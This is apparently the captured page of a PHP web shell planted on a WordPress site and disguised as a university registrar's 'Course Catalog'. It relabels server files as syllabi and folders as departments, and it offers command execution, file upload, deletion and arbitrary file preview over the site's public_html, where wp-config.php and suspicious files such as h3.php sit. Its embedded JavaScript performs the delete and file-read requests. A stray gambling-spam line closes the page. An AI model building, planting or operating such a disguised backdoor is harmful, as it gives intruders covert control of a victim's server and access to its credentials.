Course Catalog · Registrar Dashboard*{margin:0;padding:0;box-sizing:border-box}body{font-family:Inter,sans-serif;background:#f1f5f9}.app{display:flex;min-height:100vh}.sidebar{width:280px;background:linear-gradient(180deg,#0a2f44 0,#1a4b6d 100%);color:#fff;position:fixed;height:100vh;padding:30px 20px}.nav-logo{text-align:center;margin-bottom:40px}.nav-logo i{font-size:48px;background:#ffd966;padding:15px;border-radius:50%;color:#0a2f44}.nav-item{display:flex;align-items:center;gap:15px;padding:15px 20px;color:rgba(255,255,255,.8);text-decoration:none;border-left:4px solid transparent;transition:.2s}.active,.nav-item:hover{background:rgba(255,255,255,.1);border-left-color:#ffd966;color:#fff}.main{margin-left:280px;padding:30px;width:100%}.header{background:#fff;border-radius:20px;padding:20px 30px;margin-bottom:30px;display:flex;justify-content:space-between;align-items:center;box-shadow:0 4px 10px rgba(0,0,0,.05)}.stats{display:grid;grid-template-columns:repeat(4,1fr);gap:20px;margin-bottom:30px}.stat{background:#fff;border-radius:16px;padding:20px;display:flex;align-items:center;gap:20px;box-shadow:0 4px 10px rgba(0,0,0,.05)}.icon-primary{background:#dbeafe;color:#1e40af;width:50px;height:50px;border-radius:12px;display:flex;align-items:center;justify-content:center}.tools{display:grid;grid-template-columns:repeat(3,1fr);gap:20px;margin-bottom:30px}.tool-card{background:#fff;border-radius:16px;padding:25px;border:1px solid #e2e8f0}.btn{padding:12px 24px;border:none;border-radius:12px;font-weight:600;cursor:pointer;display:inline-flex;align-items:center;gap:8px;transition:.2s}.btn-primary{background:#0a2f44;color:#fff}.btn-success{background:#059669;color:#fff}.btn-neutral{background:#f1f5f9;color:#0f172a;border:1px solid #cbd5e1}.inventory{background:#fff;border-radius:20px;overflow:hidden;box-shadow:0 10px 25px rgba(0,0,0,.05)}.inventory-header{padding:20px 30px;background:linear-gradient(90deg,#f8fafc,#fff);border-bottom:1px solid #e2e8f0;display:flex;justify-content:space-between;align-items:center}.path{background:#f1f5f9;padding:8px 20px;border-radius:40px;font-family:monospace}table{width:100%;border-collapse:collapse}th{text-align:left;padding:15px;font-size:13px;color:#475569;border-bottom:2px solid #e2e8f0}td{padding:15px;border-bottom:1px solid #e2e8f0}tr:hover td{background:#f8fafc}.badge{padding:4px 12px;border-radius:40px;font-size:12px}.badge-dept{background:#e0f2fe;color:#0369a1}.badge-syll{background:#f1f5f9;color:#334155}.actions{display:flex;gap:8px}.action{width:36px;height:36px;border-radius:10px;display:flex;align-items:center;justify-content:center;text-decoration:none;transition:.2s;border:none;cursor:pointer}.action-view{background:#dbeafe;color:#1e40af}.action-edit{background:#fef9c3;color:#854d0e}.action-delete{background:#fee2e2;color:#991b1b}.modal{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.5);backdrop-filter:blur(5px);align-items:center;justify-content:center;z-index:1000}.modal-content{background:#fff;padding:30px;border-radius:20px;max-width:500px;width:90%}.preview-content{background:#1e293b;color:#e2e8f0;padding:20px;border-radius:12px;font-family:monospace;max-height:400px;overflow:auto;margin:20px 0}.footer{text-align:center;padding:30px;color:#64748b;font-size:13px}REGISTRAR Course Catalog Enrollments Grades LogoutCourse Catalog Current directory: /home/u263648927/domains/3dvirtualsafrica.com/public_htmlRegistrar· Registrar
Courses29Storage2348.7GBMemory2MBSession0min System Diag Execute Upload Syllabus Upload New Course Syllabus (file)Department (folder) Create Course Inventory/home/u263648927/domains/3dvirtualsafrica.com/public_html Parent Department CodeTypeSizeModifiedPermissionsActions.htaccessSyllabus231 B2025-12-24 03:170644 .htaccess.bkSyllabus714 B2025-05-03 18:340644 MYDepartment-2026-01-15 11:290755assetsDepartment-2026-03-19 22:590755gf.phpSyllabus11.76 KB2026-03-30 11:190644 h3.phpSyllabus51.97 KB2026-03-19 08:190644 index.phpSyllabus139 B2026-03-20 21:110644 koko-analytics-collect.phpSyllabus711 B2025-09-09 12:130644 license.txtSyllabus19.44 KB2026-03-11 05:220644 ok.txtSyllabus6 B2026-03-18 16:510644 readme.htmlSyllabus7.25 KB2026-03-11 17:250644 robots.txtSyllabus1.08 KB2025-12-19 08:030644 wp-activate.phpSyllabus7.18 KB2025-12-20 19:190644 wp-adminDepartment-2024-05-11 12:040755wp-blog-header.phpSyllabus351 B2025-10-01 05:480644 wp-comments-post.phpSyllabus2.27 KB2025-05-03 18:340644 wp-config-sample.phpSyllabus3.26 KB2025-12-20 19:190644 wp-config.phpSyllabus3.39 KB2025-09-06 15:350644 wp-contentDepartment-2025-12-20 19:470755wp-cron.phpSyllabus5.49 KB2025-05-03 18:350644 wp-includesDepartment-2025-12-20 19:190755wp-links-opml.phpSyllabus2.43 KB2025-12-20 19:190644 wp-load.phpSyllabus3.84 KB2025-05-03 18:340644 wp-login.phpSyllabus50.23 KB2025-12-20 19:190644 wp-mail.phpSyllabus8.52 KB2025-12-20 19:190644 wp-settings.phpSyllabus30.33 KB2025-12-20 19:190644 wp-signup.phpSyllabus33.71 KB2025-05-03 18:340644 wp-trackback.phpSyllabus5.09 KB2025-12-20 19:190644 xmlrpc.phpSyllabus3.13 KB2025-05-03 18:350644 University Registrar System v4.2 | Secure Academic Interface Confirm DeletionThis action is permanent. Remove this course record?Keep Delete Syllabus PreviewLoading...Closelet dropItem = '', dropArea = '';
function confirmDrop(item, area) { dropItem = item; dropArea = area; document.getElementById('deleteModal').style.display = 'flex'; }
function hideModal(id) { document.getElementById(id).style.display = 'none'; }
document.getElementById('confirmDelete').onclick = function() {
if (dropItem && dropArea) window.location.href = '?drop=' + dropItem + '&area=' + dropArea;
};
function preview(file) {
fetch('?preview=' + encodeURIComponent(file) + '&dir=%2Fhome%2Fu263648927%2Fdomains%2F3dvirtualsafrica.com%2Fpublic_html')
.then(r => r.text())
.then(t => { document.getElementById('previewContent').innerText = t; document.getElementById('previewModal').style.display = 'flex'; });
}
window.onclick = function(e) { if (e.target.classList.contains('modal')) e.target.style.display = 'none'; };
setTimeout(() => document.querySelectorAll('.alert').forEach(el => el.remove()), 5000);
kingroyal guncel